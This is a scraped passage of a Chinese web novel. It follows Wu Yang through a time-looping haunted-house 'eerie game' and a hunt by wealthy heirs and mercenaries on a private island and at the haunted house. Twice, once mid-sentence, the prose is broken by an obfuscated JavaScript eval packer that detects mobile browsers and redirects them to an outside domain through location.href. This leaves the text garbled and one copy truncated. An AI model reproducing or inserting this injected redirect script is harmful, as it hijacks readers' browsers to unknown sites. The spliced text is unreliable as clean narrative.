等医生赶过来时,躺在沙发上的容叙总算把衣服撩开,他浑身青青紫紫的,令其他几人不由也倒吸一口气。 李政昱眉头微皱,看似同情,眼里却毫不掩饰他的幸灾乐祸:“啧啧,吴恙下手怪狠的。” 赫连则都不由评价:“是个狠人。” 等医生离开,容叙总算将刚刚的一些事告知其他人,他当然没说自己很长时间都在挨揍,只是把吴恙有诡异技能的事,还有他们刚刚的赌约说了。 他需要这些人帮忙,他也有自信会赢。 既然吴恙自己送上门,他便让对方后悔招惹上他,吴恙再厉害,也不过是一个人。 他就算再能打,再靠着那独特的诡异技能,又怎么可能对抗得了金海市最顶层圈子的联合。 他吴恙未免太过狂妄了,真以为自己动了他几次,就可以跟盘根错节,势力庞大的豪门世家对抗。 他一定会让他输得心服口服,然后心甘情愿地给他跪下当狗。 到时候,他想怎么摆布就怎么摆布。 李政昱,赫连则,祁乐听到他跟吴恙的赌约后,本来他们对抓吴恙这件事有些随意,现在不约而同地生出浓厚的兴致和冲动。 他们这些人,不是没见过有人自信心爆棚,觉得凭着努力和天赋就能到达他们的高度,又或者对抗他们的势力。 可最后呢,还不是输得彻底,如败家之犬。 令他们感到无聊至极。 可吴恙跟那些说大话的不一样,他是切切实实打上门了,肆意地展现他张狂的资本。 让他们也生出些对方或许真的会赢的想法。 但随后又觉得好笑,怎么可能。 要是他们几个都出手,还对付不了一个吴恙,那他们真别活了。 “有意思,那我们一起期待,这场精彩的演出。” 10. 幸福一家人 凌晨,金海市区内依旧灯火通明,而东郊外的天黑的像块幕布,死寂沉沉,残风掠过,吹起“呜呜”的声响。 一处很有名的凶宅外,几个年轻稚嫩的高中生正站在门外,踌躇着要不要进去。 听说这里有鬼,进去的人都死了,于是他们专门过来探险,毕竟年轻,好奇心重,也自诩胆子够大。 但真的站在门口了,各个都吓得不敢进去了。 有人小声嘀咕:“真怂,这世界上哪有鬼。” “那我们一起进去?” “去就去,你别躲后面啊,怂包!” 几人推搡着,正要推开满是陈腐气息的破败大门,“嘎吱”一声,门从里面打开,一只苍白的骨节分明的手从缝隙中伸出。 少年们尖叫一声,吓得拔腿就跑,有个踉跄摔倒了,也顾不上更多,干脆手脚并用,狗爬式逃走,看着怪滑稽,也怪搞笑的。 吴恙推开门的手一顿,好整以暇地看着那些高中生逃窜。 随后喉咙溢出一声轻笑,“小样。” 得亏他先来了,不然这群小孩怕是得出事。 毕竟里面的诡异还挺难搞。 吴恙缓缓吐出一口气来,刚经历一场诡异游戏,他此时有些疲惫,也有点饿。 至于为什么会再次经历诡异游戏,还要从他得到系统开始说起。 自从知道有诡异游戏后,他便开始研究系统的功能,还有诡异的存在。 可惜系统作用不大,他所能看到的系统界面只有两个功能栏亮着。 【装备】和【技能】。 【装备】可以收放诡器,数量不受限制,他试过装现实里其他的东西,都没用。 诡器只有在【装备】里才是自己的,拿到外面谁都可以用,所以容叙之前没进入过游戏也能买来使用。 【技能】则是完成诡异游戏后获得的奖励技能,吴恙还能看到他那个只剩一次的【暗巷的尾随者】亮着。 大概用完就会消失。 而功能栏后面还有未解锁的部分,名字都是【?】 对于这些未解锁功能,系统并没有解释。 清楚了系统并非金手指后,他看着自己【装备】里唯一一个寒碜的水果刀,就决定想办法再进入一场诡异游戏。 他把容叙得罪得那么狠,还是得多弄点筹码才安心。 当然,也不排除他好奇,想要再进诡异游戏探个究竟。 可诡异游戏哪有那么好找,他在网上搜了半天,也没找到任何相关的信息。 后来干脆找那些怪异邪门的事件,比如哪哪闹鬼,哪哪发生过凶杀案。 去了好几个地方都一无所获,最后找到了这处凶宅,据说曾经发生了一家三口灭门惨案。 他一进去,竟还真的触发了诡异游戏。 他发现,有些游戏是悄无声息开始的,而有些游戏,一但触发,背景会突然改变,像是进入另一层空间。 比如说这破旧阴暗的凶宅,一下子变成干净温馨的小洋房,好像时间逆流,回到了过去。 而在新闻里惨死的一家三口,此时安然无恙,正热情地邀请他进去吃晚饭。 他一开始还有些惊讶,猜到有些游戏或许是有剧情的,便不动声色地照做。 吴恙默默观察了周围的环境,看到墙上挂钟的时间,正好对应了二十年前的惨案当晚。 这个游戏说简单也简单,说难也难。 他来前就看了新闻,知道一家三口都是被入室的匪徒杀害,吴恙猜测救人就对了,于是他跟那些突然闯入的匪徒打在一起。 费了好大劲,结果发现匪徒根本杀不死,他们力气大得出奇,甚至超过了人类的范畴。 他D级的水果刀也造成不了任何伤害,他猜测,这些匪徒可能是无解的。 他无法靠武力阻止他们杀人。 男女主人在保护孩子时被捅死,女主人死前捂着满是血的脖子,用断掉的喉咙,无声祈求他一定要保护好孩子。 他只能带着小男孩,在偌大的小洋房里藏匿躲避,为了不让匪徒们找到小男孩,他好几次故意引开他们,与其周旋。 直到天亮,匪徒才终于离开。 当他以为任务完成时,时间又回到游戏的开始。 他在第二次循环尝试解救夫妻两人,但无论如何两人都会死去。 他只能带着小男孩躲避,躲到匪徒们离开,再把小男孩送进警局,确定彻底安全后,他气都没喘匀,又一次循环开始了。 吴恙一度怀疑这游戏就是要累死他。 直到他发现了不对劲的地方。 他看到匪徒们攻击男主人时只是将刀捅进了腹部,而对付女主人却是一刀割喉,还有匪徒们路过男主人的尸体,总会刻意避开,有种莫名的“礼貌”。 当吴恙发现书房里男主人的财产转让书后,他总算确定,男主人根本没死。 那些匪徒就是男主人带回来,专门杀妻杀子转移财产的。 吴恙猜测,这一切都是男主人早就做好的局。 先是邀请一个无关紧要的客人,再伙同匪徒杀害了妻子和孩子,还将那客人一同杀害,伪装成自己,按照新闻里的消息,最后一把火毁尸灭迹。 他猜测,二十年前各种因素掩盖下,男主人真的成功了,所以大家都以为一家三口真的死在这场惨案中。 而男主人显然已经把妻子的财产全部转走,换了个身份逃之夭夭了。 吴恙终于知道,这场游戏为什么会一直失败重启,只要男主人还活着,那必然会再找机会杀了孩子。 这个游戏的通关要求就是保护小男孩,小男孩死,他就永远离开不了。 所以他在第三次循环时杀了假死的男主人,果然,他的刀对男主人有用。 等他脱离游戏后,便确定自己的思路是正确的。 可惜,他救下了那个孩子,并没有救下他的妈妈,或许,这场游戏,他妈妈的死亡也是必然的结局。 【恭喜玩家完成诡异游戏——幸福一家人】 吴恙发现一件事,系统不会提醒你游戏已经开始,但你游戏通关后,它会准时出现报幕,并且发放奖励。 也算有点用吧。 吴恙离开游戏后饿得很,准备出去买点吃的,就看见了那几个打算勇闯鬼屋的高中生。 把他们吓得屁滚尿流后,吴恙感到好笑。 他心里有些难言的躁郁,为那个女主人,也为那个孩子。 他三次循环里,带着小男孩躲了三个晚上,很难不对其印象深刻。 那男孩乖得不像话,哪怕小脸吓得苍白,也丝毫不拖他后腿,不吵不闹,看到母亲被杀害时他满脸是泪,知道出声会引来危险,便一直捂着嘴默默流泪。 吴恙杀了男主人后,回到藏在衣柜的小男孩身边,问:“害怕吗?” 那小孩紧紧握着他的手,却对他露出个坚强的笑。 “我不怕,哥哥会保护我。” 小孩一双眼睛跟黑曜石似的,五官精致得不像话,可以想象对方长大后会是多么惊艳帅气的少年。 离开游戏后,吴恙总能想起新闻里男孩死相的惨状。 他抹了把脸,低骂了声:“畜生。” 骂的是那该死的男主人,连自己五岁的孩子都能下狠手,真不是个东西。 吴恙蹙着眉心,心情烦躁得很。 他很难把那些当作游戏,不管是变成女鬼的叶婷,还是死在二十年前的母子,那些可曾经都是活生生的人。 吴恙拿出手机又点开那个新闻,在看到上面的字后,他整个人愣住了。 新闻上本该出现的一家三口灭门惨案变成了夫妻被入室杀害,家里男孩躲进柜子里逃过一劫。 吴恙盯着看了许久,他以为自己出现了幻觉,又重新搜了几次,所有的结果都是一样。 他搜索那男孩的后续,有报道说男孩进了孤儿院,平安无事,之后就再没别的消息。 “哈。” 他忽然就笑了,笑这世界荒唐,又笑这世界离奇。 “这诡异游戏,究竟是什么?” 竟然让他改变了过去,让一个孩子从死亡的命运中活了下来。 是那母亲的执念吗? 真是伟大啊。 吴恙忽然心情就好起来了,很快他就得到更好的消息。 他朋友将那几位少爷最近的动向告诉了他,信息算的上全面。 谁能想到他吴恙一个孤儿,人脉关系网十分惊人,只要他愿意,想弄到些消息还真不难。 听到容叙他们的动作后,吴恙轻嗤,还真是不小的派头。 朋友在电话里打趣他:“那几位为了找你,都快把金海市翻了个遍,有人说,这帮太子爷找的怕不是在逃小娇妻。” “滚蛋,”吴恙笑骂,随后又叮嘱了句:“你也小心些,别让他们发现你的动作。” 朋友嘿嘿笑了声:“放心,搞定了,那些太子爷就算权势滔天,也查不到咱两的关系,话说你最近躲哪去了,这么隐秘,听说赫连家的那位都用上天眼了。” 吴恙点了根烟,语调一如既往的慵懒,透着股张扬的自信。 “凶宅。” 朋友顿了下,随后笑出声:“真有你的。” 吴恙挂了电话后,将SIM卡取出折断,又换了个新的。 与容叙的这场赌约,他比谁都要谨慎。 他知道,容叙一定会下更大的本等着他自投罗网。 而他,也做足了准备。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814682|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 这场诡异游戏,也算是给他增加了个筹码。 赢了的话,以后就不用再躲着。 输了的话,不,他就没想过输。 吴恙慵懒地倚在凶宅的墙壁上,他就那样平静地望着远处边际灯火辉煌的市区,眼神专注而深沉。 谁能想到,在他的大脑里,他已经模拟布局了上百次的博弈。 一切准备就绪,只等引线点燃,对局开始。 …… 同时段的另一边,容叙几人也在郊区,但并非东郊那样荒芜贫寒的地方,而是有名的富人区。 到处是庄园别墅,住的全是达官显贵,虽离市中心有些距离,却能欣赏到金海市最好的海景,寸土寸金。 容叙自认为是会过日子的,但对于李政昱的手笔,还是忍不住感慨一句:“你这地方,怪有意思的。” 谁能想到,李政昱买下附近的海岛,在上面盖了个庄园。 几位少爷全是实打实用金钱养出的阔绰贵气,哪怕不修边幅坐着,也有种说不出的气质,那是与生俱来的从容和自信。 他们这种自信跟吴恙倒不同,吴恙是野性的,敢豁出命的,而他们,从小什么都能轻易得到,便养出了目高于顶的傲慢。 他们也是头一次,遇到吴恙这样的挑战,不过就算是打起精神对付,也还是打心底里轻视。 李政昱慢条斯理地喝了口茶,笑得斯文:“这里被我安排得密不透风,他要真敢出现,我保证,他再也逃不掉。” 哪怕有那诡异技能。 祁乐也笑了:“我还真是期待啊。” 容叙相比他们而言,兴奋得更加厉害,他的瞳孔一直在颤动,嘴角止不住地扬起。 他这次已做好全然的准备,绝对让吴恙有来无回。 他看向祁乐:“那些摄像头也准备好了?” 祁乐不正经地行了个礼:“报告长官,都是最新的型号,就连无人机也安排到位。” 赫连则扫了祁乐一眼,冷冷哼笑一声:“你爸要知道你背着他调用了那些东西,非得把你皮扒了。” 祁乐笑嘻嘻,很是无所谓:“那就不让他知道呗。” 他们几人姿态都很随意,但熟知他们的人要是在,就会发现他们眼底都映着跃跃欲试的光彩。 那是猎人,等待着猎物踏入圈套的极致兴奋。 …… 吴恙在确定容叙独自一个人时,便用了【暗巷的尾随者】最后一次机会。 当他身形出现在岛屿上的庄园时,容叙耳麦里传来李政昱略带兴奋的声音。 “他出现了!” 容叙能感觉到背后一阵风,但他躲避不及,便被人从身后撂倒,打趴在地上。 吴恙屈膝压着对方后腰,抬眼看了下天上嗡嗡作响的好几架无人机,冲着那无人机微微挑眉。 他对着脸被摩擦在地上的容叙微笑:“容少,整这么大的欢迎仪式啊,我都有些受宠若惊了。” 容叙被地上的石子硌得脸疼,但他还是露出个势在必得的笑,喘声道:“吴恙,这次你跑不掉了!你乖乖跪下给我当狗,我之后还会勉强对你温柔点。” 吴恙不动声色地观察周围,这里算是空旷,周围树木丛林看着不少,果然是他得到消息里的那片岛屿。 他垂下眼,膝盖重重一顶,哼笑一声:“怎么,伤好了,嘴又硬了?” 容叙痛得脸色大变,他冲着耳麦大吼一声:“还不快点!” 下一瞬,几个黑洞洞的枪管从草丛以及各个隐蔽处露出,“咻”的几声,麻醉针向吴恙这边射出。 吴恙眉心一跳,几乎是本能,他拉起容叙当作护盾,用对方身体挡住那些麻醉针。 他的反应出奇得快,令那些射击的人都不由露出诧异的神色。 容叙胸口挨了三针,呆若木鸡。 他虽然有预料自己会被误伤,但谁能想,吴恙竟拿他挡枪,简直太无耻了。 意识开始模糊,他努力睁大眼睛想要看清吴恙,在昏迷前,他迷迷瞪瞪地说完最后一句话。 “吴恙……我等着……你给我当……狗。” 吴恙嗤了一声,将他一脚踹开,趁着下一波攻击前,速度极快地往旁边的树丛冲去。 果不其然,麻醉针又从身后射了过来,但吴恙身形矫健,几乎是听到声音便能立马做出反应,跟个猫似的。 而在中控室看着所有监控画面的李政昱,将身上的冲锋衣拉到脖颈,拿起一旁的901型麻醉枪,对着耳麦道:“还有九分钟,围猎开始。” 耳麦处传来好几声收到,有赫连则和祁乐的。 还有几个,是他们找来的雇佣兵。 这场天罗地网的围猎行动,吴恙就算变成苍蝇,也绝对飞不出去。 11. 第 11 章 “李少,目标现在往南边跑去了。” “把他往目的地赶去,那里有人埋伏着。” 李政昱本来只用在监控室里指挥,但他太想亲自参与了,为此他还让祁乐搞到901式麻醉枪,那可是专门用作特种作战的。 为了一个吴恙,他们几个可谓是下了血本。 容叙出钱,李政昱出房,祁乐出麻醉枪和无人机。 就连赫连则,也是把天眼都用上了,虽然还是没能找到吴恙的行踪。 这几天,少爷们花钱出力,筹谋策划,费了不少精力,所以,参与其中,亲自抓到吴恙,对他们此时来说有着致命的吸引力。 李政昱把金边眼镜都摘了,他就没近视过,平时都是装得斯文有礼,现在丢了眼镜,跟解开封印似的,整个人有种说不上来的邪劲儿。 他是这场行动除了容叙最兴奋最积极的,简直就在脸上写明了对吴恙的感兴趣。 “滋滋——” 耳麦里一阵杂音,有个雇佣兵追上了吴恙,两人已经打起来了。 这次的行动他们没找更多人,容叙已经见识过废物的手下人数再多也没用,所以他这次花了重金,找的一支雇佣兵小队。 那队长曾是从特殊部队退役的,很强,吴恙再会打架也只是普通人,不用想,这次赢面在他们。 李政昱也好奇,吴恙会提出这场赌约,到底是真的自负过头了,还是有什么后手。 他期待不已,恨不得立即将那帅气野性的青年抓住。 耳麦那边传来搏击时发生的碰撞,听声音就知道打得很凶很激烈。 现在与吴恙碰到的不过是那小队里实力一般的人,但也不算普通人了。 不知道吴恙能不能打过。 终于,那边声音静止,耳麦一阵滋啦的响声。 抓住了? 往那赶去的人都不约而同地在心里想着。 很快,一道略带着喘的嗓音从耳麦里响起:“各位,知道吸进肺里的烟叫什么吗?” 那声音裹挟着不羁的风,带着几分随性的沙哑,重重地敲在众人的耳膜上。 他低笑了声,桀骜又张扬。 “肺雾啊。” 往那边跑去的几人,举着麻醉枪,跑得剧烈喘气,听到吴恙的声音,他们瞳孔一颤,随后眼底跳跃着怒火和戾气,男人骨子里的血性被彻底点燃。 哈,还真是嚣张。 李政昱跑到一个吴恙必经的地方埋伏起来,果然很快,那个青年被其他人追着往这边跑来。 他举着麻醉枪,黑洞洞的枪口精准锁定那个正在奔跑的青年。 李政昱喜欢玩射击,他在自家还弄了个射击场,偶尔也会出国猎熊猎狼,枪法自然极好。 所以他非常自信一枪就能射中吴恙,他薄唇微微上扬,眸底幽光闪烁,犹如一条蛰伏的毒蛇。 “吴恙,这次你还能躲过吗?” 901式不仅制动快,声音也小,非常利于隐蔽射击,所以当他射出针剂注射弹时,吴恙并没听到声响。 但他下意识感到危险,一个翻滚,迅速躲到了一旁的树后。 那一枪,李政昱竟没射到。 他意外又惊喜地发现,吴恙似是有种野兽的直觉,可能大脑还没发现危险,身体便先做出了反应。 还真是个狡猾的猎物啊。 吴恙谨慎盯着周围,他猜测肯定又有人在埋伏他,看了眼剩下的时间,还有五分钟。 他跑了许久,又跟人打了一架,额间的发丝早已被汗水浸透,有种水洗过的浓黑。 一滴汗珠滑落,在地上洇湿出小块痕迹,带着滚滚热气。 他喘着气,看着累极,可尽管如此,他整个人也不显狼狈,那股子野性和不羁比之前更甚,一双眸子亮如灿阳,耀眼得很。 李政昱的视野极佳,他能看到吴恙此时的模样,心脏重重一跳。 他眼里跃动着热意,举着枪的手都有些颤抖,但很快就稳如泰山。 又一发射了出去,吴恙虽然直觉准躲得快,可还是被打中在胸口。 李政昱刚好麻醉弹用完,见状,他从树上跳了下来,他那双睁得极大,幽黑的瞳仁里,倒映着吴恙的身影,闪烁着近乎狂热的光芒。 他像是宣判猎物入套,对着吴恙微笑:“你输了。” 吴恙看了眼他手里的麻醉枪,冷不丁问:“你枪没弹了吧。” 李政昱愣了下,他正想说些什么,却见面前的男人,快得跟残影似的,冲到他面前,直接一拳往他脸上揍去。 李政昱心中一紧,他想拿起麻醉枪再射击吴恙,却被对方一个膝盖顶在手腕,拳头已然落下,手里的枪也被夺走。 吴恙居高临下地望着被打蒙的大少爷,眼神厌烦凶戾。 “你们这些大少爷,还真是没完没了。” 一个容叙搞他就算了,这帮子人也参与进来,还真当他好欺负啊。 李政昱感觉脸很疼,似乎是肿了,他满眼震惊地看向吴恙,难以置信:“怎么可能,我明明看见你被射中了。” 吴恙嗤了一声,将衣摆拉起,让对方看自己穿着的防弹背心。 “早防你们这一手了。” 李政昱一言难尽,他没想到吴恙还搞了个防弹背心,这得多谨慎。 吴恙见他盯着自己背心看,扬了扬唇:“质量挺好吧,拼夕夕99包邮到家。” “……”沉默片刻,李政昱面露可惜:“早知道往你脖子上射了。” “呵。” 吴恙冷笑一声,他拽着矜贵少爷的头发,逼着对方仰头,似是认出这张脸,他微微挑眉:“是你啊,那个戴眼镜的。” 上次在包间逼那帮人说出容叙秘密时,这个戴眼镜的让他印象挺深的,感觉就不是好东西。 如今一看,果然不是好东西。 李政昱哪怕头皮被扯得很痛,脸也很疼,他还是露出个斯文礼貌的笑容:“你竟然还记得我,不胜荣幸。” 吴恙语调懒散:“感觉你跟容叙关系没那么好啊,没必要帮着他对付我吧。” 李政昱微笑,当场倒戈:“好,那我不帮他,帮你。” 吴恙撩起眼皮看了眼他,假装信了。 “哦,那你告诉我,你们都准备了什么,这么自信我离不开这?” 李政昱竟也没隐瞒:“容叙花了很多钱,买了个空间相关的诡器,只要将你困在其中,你就再也跑不掉了。” 吴恙心想,果然如此。 也只可能是诡器,才给他们足够的自信。 “哦?那我怎么才能不被困在里面?” 吴恙问话依旧那副懒洋洋的调调,跟李政昱期待的慌张忌惮一点都不搭边,他心里都开始疑惑,吴恙究竟是有底牌,还是根本就不怕事。 李政昱微微一笑:“不好意思,这个不能告诉你呢。” “毕竟我也期待,你能被抓住。” 果然如此,吴恙也不多说废话,直接拿出之前从别人手里抢到的麻醉枪照着对方脖子开。 “不是喜欢射人脖子吗,满足你。” 李政昱表情一变,脖子上传来针扎的痛,他也被射了麻醉针。那药剂作用很快,他还没说什么就一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814683|158659||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头栽倒在地。 后面动静响起,又有人往这边追来,吴恙能感觉到,那些人在将他往一个方向赶。 吴恙轻嗤,毫不犹豫往那边冲去。 时间还剩两分半,【暗巷的尾随者】就该发动结束。 吴恙一口气冲到那处,在见到一个人等着他时,他还真是气笑了。 容叙这狗东西真喜欢以多欺少啊。 他呼吸微喘着,目光如出鞘利刃,那凶狠劲,跟狼似的。 “你就是容叙找来的小队里最强的吧?” 不用猜,光从那一米九的高大身躯,壮硕得跟个山一样的臂膀,也能看出对方实力绝对强悍。 唐烽在目的地等待着他这次要对付的人,本来他并不想参与,但容家那位少爷给得太多,又正好碰上他特别需要钱的时候。 于是他同意了,知道几个少爷费这么大劲只是为了抓一个年轻男人,他心里疑惑的同时,也对这个“猎物”生出些好奇。 他没想到他的队友竟然打不过对方,很难想象,普通人竟有这样的实力,毕竟他们一整个小队实力都不低。 在终于见到吴恙时,他心绪微微起伏。 吴恙看着并不像凶恶匪徒,也没有夸张有力的肌肉,对方整个人比起他们小队都偏瘦些,面容更是帅气年轻,实在不像是能将他队友撂到的人。 但看吴恙的眼睛,又不容他小觑,那是一双透着狂妄自信,又冷静自持的眼眸。 他见过许多人,杀人的,狠绝的,懦弱的,疯狂的,都没有吴恙这样。 似是对方天生就有种魔力,让他整个人都看起来极其耀眼。 唐烽就算此时再好奇面前的青年,也不能忘了任务,违背雇主的要求。 他率先行动,速度快得惊人。 吴恙一个格挡,虽然挡住了对方的拳头,却能感觉到对方力量有多庞大,他的胳膊都被震得发麻,一时竟落在下风。 唐烽不愧是从特殊部队退役的,他的体能,力量,都不是吴恙所能比拟的。 但吴恙也有一些自己的优势,他敏捷,反应快,虽然打不过,但他躲开也不是不行。 十分钟终于结束,吴恙听到系统声音。 就在他以为自己身形该消失时,四面升起了紫色的光屏,像是个牢笼,将他周围一公里的地区全部覆盖。 吴恙微微惊讶。 他的身形在这当中,并没有因为技能的结束而消失,而是留在了这里。 身后,几个人也追了上来,包括赫连则和祁乐,两人早知道李政昱被弄晕,此时也是满眼的热意。 “乖乖束手就擒吧吴恙,你已经被包围了。” 祁乐兴奋极了,语气带着他们这帮大少爷生来就有的傲慢得意:“这场赌注,算容叙赢了,可惜他还在昏迷中,不然得多高兴啊。” 吴恙轻笑一声:“不啊,游戏还没结束。” 他眼里闪过一道暗芒,微笑着说:“系统,使用技能,【读档】。” 【读档】,是他完成【幸福一家人】的诡异游戏获得的技能奖励,依旧只能使用三次,可以回到五分钟前。 不过也是一定范围内的,刚好在这个岛屿上,他能回到五分钟前。 他就是为了试探出那所谓的空间诡器能作用到多大。 吴恙看到,头顶一个时钟,指针开始往回走。 他像是读倒带一样,回到了五分钟前。 这时候,他刚给了李政昱一拳。 不用再多说废话,吴恙愉悦地勾起唇:“正好,再揍你一次。” 李政昱不明所以:? 12.第 12 章 李政昱又挨了一顿揍,为什么是又,他自己也不清楚,就觉得脸好像更疼了。 嘶,吴恙下手是真狠。 之前见容叙被吴恙揍时,他乐得看好戏,如今自己也被揍了,倒有些同病相怜的感觉了。 同时,他也理解了容叙不择手段也要抓住吴恙的急切。 想他李家二少还从没这么丢脸过,在外哪个不是对他毕恭毕敬的,也就吴恙敢这么打他脸。 简直又气又恨,心中的那股子征服欲直接达到顶点。 可有容叙做前车之鉴,他又没那么愤怒。 李政昱一早就知道狩猎猛兽有随时会被反扑的可能,所以他更理智,也更耐心。 他暗自期待与吴恙接下来的博弈。 就算他现在被吴恙打了一顿,吴恙也绝对逃离不了,最终赢家还是他们就行。 吴恙活动完筋骨后,这次他并没有给对方来一麻醉枪,反而弯下腰端详了会被揍得半张脸都是青紫的李政昱,笑了: “我猜猜你在想什么,想把我往东南方向赶,然后用空间诡器束缚住我?不好意思啊,这次恐怕不能如你们愿了。” 不再看对方脸上的错愕,吴恙直起腰,微微扬起的唇角,肆无忌惮地展露他骨子里的张扬,他眼神自上而下,简直狂得没话说。 语气又能轻易撩拨别人的火气。 “想抓住我?呵,就凭你们。” 随后他便跑了,往李政昱他们完全意想不到的方向跑去。 耳麦滋滋响了两声,传来其他人的声音。 祁乐声音里带了几分气急败坏:“吴恙怎么会往那边跑,按照计划他应该往唐烽那里跑啊?!” 赫连则问李政昱:“吴恙刚刚跟你聊了什么?” 他们的耳麦,只有手按在固定按键上才能发出声音,所以刚刚吴恙和李政昱之间的动静,这些人并不知道。 计划中,他们会让人专门操纵无人机盯紧吴恙的位置,其他人则是把吴恙往陷阱里赶。 一开始计划是顺利的,结果吴恙突然转变了方向,让众人措手不及。 难不成知道那边有陷阱? 李政昱嘴角疼得抽动了一下,他哑着声道:“我哪知道,他上来就打我,一点都不给我说话的机会。” 有些愤愤,也有点委屈。 沉默一会,耳麦里传来另一个冷漠到无机质的低沉嗓音。 “时间倒流了五分钟,他应该使用了诡异技能。” 是唐烽。 时间倒流五分钟? 三位少爷都很诧异,但随后他们有更深的疑惑:“你怎么知道?” 一米九高大的男人正站在目的地,回忆起那个站在巨大虚拟时钟下张扬帅气的青年,心里莫名的触动,他皱眉解释:“大概是因为我保留了诡异游戏的记忆。” 他小队里的其他人也附和:“对,我也记得那五分钟的事。” 还没进过游戏,或许进过但没记忆的李政昱三人:“……” 好好好,就他们不记得是吧。 吴恙突然改变方向,他们靠空间诡器的计划彻底失效。 那诡器真是不好用,只能提前布置,将猎物引进去,不能随时随地用。 就这,容叙还花了三千八百万竞拍。 亏死了,李政昱几个花钱如流水的富少爷都想给差评了。 他们又想起吴恙还有逆转时间的诡异技能,那玩意也太好用了,要是诡器,他们花一个亿买也乐意。 耳麦里又有人在说话:“我已经赶往目标的方向,要不要阻截他。” 唐烽思忖片刻,他知道,除了自己能打过吴恙,其他的队友根本阻拦不了对方。 明明是野路子,竟然有这般实力。 而且……还有那样逆天的诡异技能。 若是加入诡异处理局,一定能发挥极强的作用,就是不知道那么厉害的技能有没有次数限制。 赫连则冷声道:“算了,你们也阻拦不了,唐烽,你见到他了,技能还能使用吗?” “能。”唐烽在与吴恙接触时就使用了诡异技能,并且因为保留了记忆,所以技能并没有因为时间回到五分钟前失效。 李政昱勾起唇,随后被脸上的伤痛得轻嘶一声:“那就准备前往我们的第二个战场。” 这场赌局,还远远没结束呢。 吴恙跑到安全的位置后,就等着【暗巷的尾随者】彻底结束。 十分钟一到,吴恙身影一闪,便回到了凶宅。 他伸了伸懒腰,随便找了个能靠的地方歇息,这十分钟,不,算得上十五分钟,又是跑又是打的,怪累人的。 二十分钟后,吴恙听到那熟悉的无人机声音。 不仅无人机,似乎还有直升机的动静。 吴恙懒懒打了个呵欠,平静地走出凶宅,果不其然,头顶还真有三架直升机在盘旋。 吴恙啧了声。 “真烦。” 虽然猜到他们还有后手,但真的追过来了,吴恙又觉得厌倦得很。 他扯出一个冷笑,眼中戾气浓重几分,拳头也捏得咯咯作响。 他从小就实践出一个道理,碰到欺负你的人,你得把他打疼了打怕了,对方以后就再也不敢了。 跟容叙一丘之貉的那几个,谁也跑不了。 唐烽的诡异技能叫【寻匿】,他可以在跟人触碰时在对方灵魂中放入一个‘标记’,当他发动技能后,便能找到对方的位置。 他的这个能力用来寻人确实厉害,而且还是永久性技能。 可惜一天只能用一次,一次也只能用在一个人身上。 ‘标记’的留存时间只有24小时,条件限制算得上严苛,他只能找到一天内接触并且标记过的人。 对于容叙的这场赌局,他是必不可少的一环。 唐烽在见到吴恙后就有些后悔接下这单,他总觉得自己好像在助纣为虐,跟着一群富家公子哥欺负人贫穷青年。 但他又是雇佣兵,最忌讳的就是在行动中有别的想法,所以哪怕他想停止任务,又或者邀请吴恙加入诡异处理局,都不可以。 三架直升机以三角包围之势往下降落,旋翼高速转动,切割着空气,发出震耳欲聋的嗡鸣声。 强劲气流自上空呼啸而下,席卷四周,将地面的沙土卷得漫天飞舞。 吴恙微仰着头,黑发和衣角肆意翻飞,他黑眸锐利,在即将到来的风暴中,身形依旧挺拔,无畏亦无惧。 机舱处丢下降落绳,几人如离弦之箭,顺着绳索飞速下滑,包围住那个看起来阴森破旧的房子。 三个直升机各下来三人,是那些雇佣兵以及三位大少爷,他们各占一角,将吴恙所有的退路全部围堵。 这一次,他们势必要抓住这个青年。 吴恙跟之前一个雇佣兵打确实能赢,但架不住对方有五个,还有个战力更强的唐烽。 李政昱他们早就做好打算,哪怕吴恙成功用技能离开,他们也能找到吴恙的老巢,直捣黄龙。 赫连则看了眼这地方,总算明白天眼为什么找不到吴恙。 这荒无人烟看着就有鬼的地方,谁能想到会躲这。 吴恙迅速躲回凶宅内,虽然刚刚正面应对的姿势很帅,但他不傻,那些人还拿着那该死的麻醉枪。 这个洋房虽然老旧,但也足够大,走廊错综复杂,上下总共三层,房间也不少,在诡异游戏里他就是靠着地图够大够复杂,带着小男孩躲过了那帮匪徒。 也多亏游戏里的那三次循环,他把这个凶宅里的布局完全摸透了。 现在在自己熟悉的场地,这帮人只要分开,他就能逐个击破。 唐烽作为先锋,带领着队员进入了凶宅。 本来李政昱几人在外面等着,但他们三偏偏不信邪,非得亲自参与行动。 李政昱脸上都是伤,身上也疼得厉害,但不妨碍他还是拿了把麻醉枪,要再次亲手抓到吴恙。 所以为了保护这三大少爷,唐烽将他们队伍分成三组,两拖一,分开搜寻,就算见到吴恙,这么个地方,其他人也能迅速赶到支援。 不过他们也没再轻视吴恙,就算吴恙一个人,也说不定还有别的手段,毕竟之前能在那么多人围猎中全身而退,本事实在不小。 凶宅里阴暗得很,因为破败了二十年,里面满是尘埃。 几人拿出手电筒,小心翼翼地搜寻。 地面上有明显的脚印,入门处的一片区域干干净净,有生活过的痕迹。 往里走,就能跟着吴恙的脚印找到对方。 唐烽低声道:“小心些,他是个聪明人,不可能留下这么明显的痕迹。” 李政昱跟在唐烽这组,他在最中间,身前身后都有人保驾护航。 他有些迫切,瞳孔因为兴奋而隐隐颤动,尽管被打了一顿,他此时还是想见到吴恙。 想看对方如何应对他们,看对方会不会没有意料到他们会找过来,会不会露出冷静嚣张以外的神情。 